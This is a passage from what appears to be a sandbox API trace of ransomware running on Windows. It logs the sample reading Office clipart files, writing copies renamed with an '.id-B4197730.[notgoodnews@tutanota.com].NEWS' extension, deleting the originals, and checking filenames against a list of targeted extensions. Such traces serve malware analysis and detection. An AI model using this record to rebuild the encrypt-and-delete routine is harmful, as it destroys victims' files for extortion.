lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0093.456] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0093.457] ReadFile (in: hFile=0x350, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.458] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.458] SetEndOfFile (hFile=0x308) returned 1 [0093.458] CloseHandle (hObject=0x308) returned 1 [0093.458] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.458] SetEndOfFile (hFile=0x350) returned 1 [0093.459] CloseHandle (hObject=0x350) returned 1 [0093.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.459] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 1 [0093.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0093.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0093.698] lstrlenW (lpString=".doc") returned 4 [0093.698] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0093.698] lstrlenW (lpString=".docx") returned 5 [0093.698] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0093.698] lstrlenW (lpString=".pdf") returned 4 [0093.698] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0093.698] lstrlenW (lpString=".xls") returned 4 [0093.698] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0093.698] lstrlenW (lpString=".xlsx") returned 5 [0093.698] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0093.698] lstrlenW (lpString=".ppt") returned 4 [0093.698] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0093.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0093.698] lstrlenW (lpString=".zip") returned 4 [0093.698] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0093.698] lstrlenW (lpString=".rar") returned 4 [0093.698] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0093.698] lstrlenW (lpString=".bz2") returned 4 [0093.698] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0093.698] lstrlenW (lpString=".7z") returned 3 [0093.698] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0093.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0093.698] lstrlenW (lpString=".dbf") returned 4 [0093.698] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0093.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0093.698] lstrlenW (lpString=".1cd") returned 4 [0093.698] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0093.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0093.698] lstrlenW (lpString=".jpg") returned 4 [0093.698] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0093.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0093.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0093.698] lstrlenW (lpString=".doc") returned 4 [0093.698] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0093.698] lstrlenW (lpString=".docx") returned 5 [0093.699] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0093.699] lstrlenW (lpString=".pdf") returned 4 [0093.699] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0093.699] lstrlenW (lpString=".xls") returned 4 [0093.699] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0093.699] lstrlenW (lpString=".xlsx") returned 5 [0093.699] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0093.699] lstrlenW (lpString=".ppt") returned 4 [0093.699] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0093.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0093.699] lstrlenW (lpString=".zip") returned 4 [0093.699] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0093.699] lstrlenW (lpString=".rar") returned 4 [0093.699] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0093.699] lstrlenW (lpString=".bz2") returned 4 [0093.699] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0093.699] lstrlenW (lpString=".7z") returned 3 [0093.699] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0093.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0093.699] lstrlenW (lpString=".dbf") returned 4 [0093.699] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0093.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0093.699] lstrlenW (lpString=".1cd") returned 4 [0093.699] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0093.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0093.699] lstrlenW (lpString=".jpg") returned 4 [0093.699] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0093.699] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.699] lstrlenW (lpString="J0105272.WMF") returned 12 [0093.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.701] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=17728) returned 1 [0093.701] CloseHandle (hObject=0x354) returned 1 [0093.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 0x220 [0093.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.701] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.701] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0093.702] GetLastError () returned 0x0 [0093.702] ReadFile (in: hFile=0x354, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x4540, lpOverlapped=0x0) returned 1 [0093.703] WriteFile (in: hFile=0x390, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x4550, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x4550, lpOverlapped=0x0) returned 1 [0093.705] ReadFile (in: hFile=0x354, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.705] WriteFile (in: hFile=0x390, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.705] SetEndOfFile (hFile=0x390) returned 1 [0093.705] CloseHandle (hObject=0x390) returned 1 [0093.705] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.705] SetEndOfFile (hFile=0x354) returned 1 [0093.706] CloseHandle (hObject=0x354) returned 1 [0093.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.706] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 1 [0093.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0093.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0093.707] lstrlenW (lpString=".doc") returned 4 [0093.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.707] lstrlenW (lpString=".docx") returned 5 [0093.707] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0093.707] lstrlenW (lpString=".pdf") returned 4 [0093.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.707] lstrlenW (lpString=".xls") returned 4 [0093.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.707] lstrlenW (lpString=".xlsx") returned 5 [0093.707] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0093.707] lstrlenW (lpString=".ppt") returned 4 [0093.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0093.707] lstrlenW (lpString=".zip") returned 4 [0093.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.707] lstrlenW (lpString=".rar") returned 4 [0093.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.707] lstrlenW (lpString=".bz2") returned 4 [0093.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.707] lstrlenW (lpString=".7z") returned 3 [0093.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0093.707] lstrlenW (lpString=".dbf") returned 4 [0093.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0093.707] lstrlenW (lpString=".1cd") returned 4 [0093.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0093.707] lstrlenW (lpString=".jpg") returned 4 [0093.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0093.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0093.708] lstrlenW (lpString=".doc") returned 4 [0093.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.708] lstrlenW (lpString=".docx") returned 5 [0093.708] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0093.708] lstrlenW (lpString=".pdf") returned 4 [0093.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.708] lstrlenW (lpString=".xls") returned 4 [0093.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.708] lstrlenW (lpString=".xlsx") returned 5 [0093.708] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0093.708] lstrlenW (lpString=".ppt") returned 4 [0093.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0093.708] lstrlenW (lpString=".zip") returned 4 [0093.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.708] lstrlenW (lpString=".rar") returned 4 [0093.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.708] lstrlenW (lpString=".bz2") returned 4 [0093.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.708] lstrlenW (lpString=".7z") returned 3 [0093.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0093.708] lstrlenW (lpString=".dbf") returned 4 [0093.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0093.708] lstrlenW (lpString=".1cd") returned 4 [0093.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0093.708] lstrlenW (lpString=".jpg") returned 4 [0093.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.709] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.709] lstrlenW (lpString="J0105276.WMF") returned 12 [0093.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.709] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=19240) returned 1 [0093.709] CloseHandle (hObject=0x354) returned 1 [0093.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 0x220 [0093.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.709] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.709] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0093.710] GetLastError () returned 0x0 [0093.710] ReadFile (in: hFile=0x354, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x4b28, lpOverlapped=0x0) returned 1 [0093.711] WriteFile (in: hFile=0x390, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x4b30, lpOverlapped=0x0) returned 1 [0093.712] ReadFile (in: hFile=0x354, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.713] WriteFile (in: hFile=0x390, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.713] SetEndOfFile (hFile=0x390) returned 1 [0093.713] CloseHandle (hObject=0x390) returned 1 [0093.713] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.713] SetEndOfFile (hFile=0x354) returned 1 [0093.714] CloseHandle (hObject=0x354) returned 1 [0093.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.714] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 1 [0093.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0093.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0093.714] lstrlenW (lpString=".doc") returned 4 [0093.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.715] lstrlenW (lpString=".docx") returned 5 [0093.715] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0093.715] lstrlenW (lpString=".pdf") returned 4 [0093.715] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.715] lstrlenW (lpString=".xls") returned 4 [0093.715] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.715] lstrlenW (lpString=".xlsx") returned 5 [0093.715] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0093.715] lstrlenW (lpString=".ppt") returned 4 [0093.715] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0093.715] lstrlenW (lpString=".zip") returned 4 [0093.715] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.715] lstrlenW (lpString=".rar") returned 4 [0093.715] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.715] lstrlenW (lpString=".bz2") returned 4 [0093.715] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.715] lstrlenW (lpString=".7z") returned 3 [0093.715] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0093.715] lstrlenW (lpString=".dbf") returned 4 [0093.715] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0093.715] lstrlenW (lpString=".1cd") returned 4 [0093.715] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0093.715] lstrlenW (lpString=".jpg") returned 4 [0093.715] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0093.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0093.715] lstrlenW (lpString=".doc") returned 4 [0093.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.715] lstrlenW (lpString=".docx") returned 5 [0093.715] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0093.715] lstrlenW (lpString=".pdf") returned 4 [0093.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.716] lstrlenW (lpString=".xls") returned 4 [0093.716] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.716] lstrlenW (lpString=".xlsx") returned 5 [0093.716] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0093.716] lstrlenW (lpString=".ppt") returned 4 [0093.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0093.716] lstrlenW (lpString=".zip") returned 4 [0093.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.716] lstrlenW (lpString=".rar") returned 4 [0093.716] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.716] lstrlenW (lpString=".bz2") returned 4 [0093.716] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.716] lstrlenW (lpString=".7z") returned 3 [0093.716] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0093.716] lstrlenW (lpString=".dbf") returned 4 [0093.716] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0093.716] lstrlenW (lpString=".1cd") returned 4 [0093.716] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0093.716] lstrlenW (lpString=".jpg") returned 4 [0093.716] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.716] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.716] lstrlenW (lpString="J0105280.WMF") returned 12 [0093.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0093.719] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=11540) returned 1 [0093.719] CloseHandle (hObject=0x390) returned 1 [0093.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 0x220 [0093.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0093.719] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.719] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0093.721] GetLastError () returned 0x0 [0093.721] ReadFile (in: hFile=0x390, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x2d14, lpOverlapped=0x0) returned 1 [0093.730] WriteFile (in: hFile=0x364, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x2d20, lpOverlapped=0x0) returned 1 [0093.731] ReadFile (in: hFile=0x390, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | 